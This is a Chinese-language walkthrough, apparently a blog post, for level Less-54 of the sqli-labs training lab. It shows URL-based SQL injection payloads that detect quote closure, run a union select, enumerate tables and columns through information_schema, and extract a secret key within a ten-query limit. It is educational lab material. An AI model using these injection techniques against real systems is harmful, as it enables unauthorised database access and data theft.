sqli-Challenges Less-54

1. 题目分析

经过不懈的努力,终于来到了最后一部分。首先看第一关:
题目要求是让我们获取到一个密钥,然后提交;但是我们查询的次数不能超过10次,否则就会重置这个密钥。
在这里插入图片描述
而且这个密钥是存在于challenges这个数据库中。


2. 注入过程

因为条件是超过10就会重置密钥,也不是超过10次就封你的IP什么的。对于我们的影响不是特别大。其实可以忽略这个条件。该做的检测做一下,等到确定了详细的信息,以后直接查询即可。

  1. 首先要判断id的类型。
    通过/?id=1%27 and 1=1 --+/?id=1%27 and 1=2 --+判断出来id是被单引号包裹的。

  2. 检测是否可以进行union查询。
    我们可以利用order by来检测查询字段,这里我直接用?id=1%27 union select 1,2,3 --+试一下,结果证明是三个查询字段。
    在这里插入图片描述

  3. 查询challengs数据库下有哪些数据表

    (select group_concat(table_name) from information_schema.tables where table_schema=“challenges”)

    在这里插入图片描述
    可以看到challenges下只有一张数据表。就是sqc20s3td8(这个名字是随机生成的,当你查询的次数超过10次的时候就会变)

  4. 查询sqc20s3td8表下有哪些字段

    (select group_concat(column_name) from information_schema.columns where table_schema=“challenges” and table_name=“sqc20s3td8”)

    在这里插入图片描述
    可以看到有4个字段:id,sessid,secret_SUA6,tryy,其中secret_SUA6是随机生成的,并且会变。也是存储密钥的字段。

  5. 查询密钥并提交

    (select group_concat(secret_SUA6) from challenges.sqc20s3td8)

    在这里插入图片描述
    这个就是我们要提交的密钥。复制下来输入到下放的文本框里提交。
    在这里插入图片描述
    最后显示congrats you nailedd it表示提交成功。


54-57的思路是一样的,只是id的类型稍有区别,需要使用不同的闭合方式。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值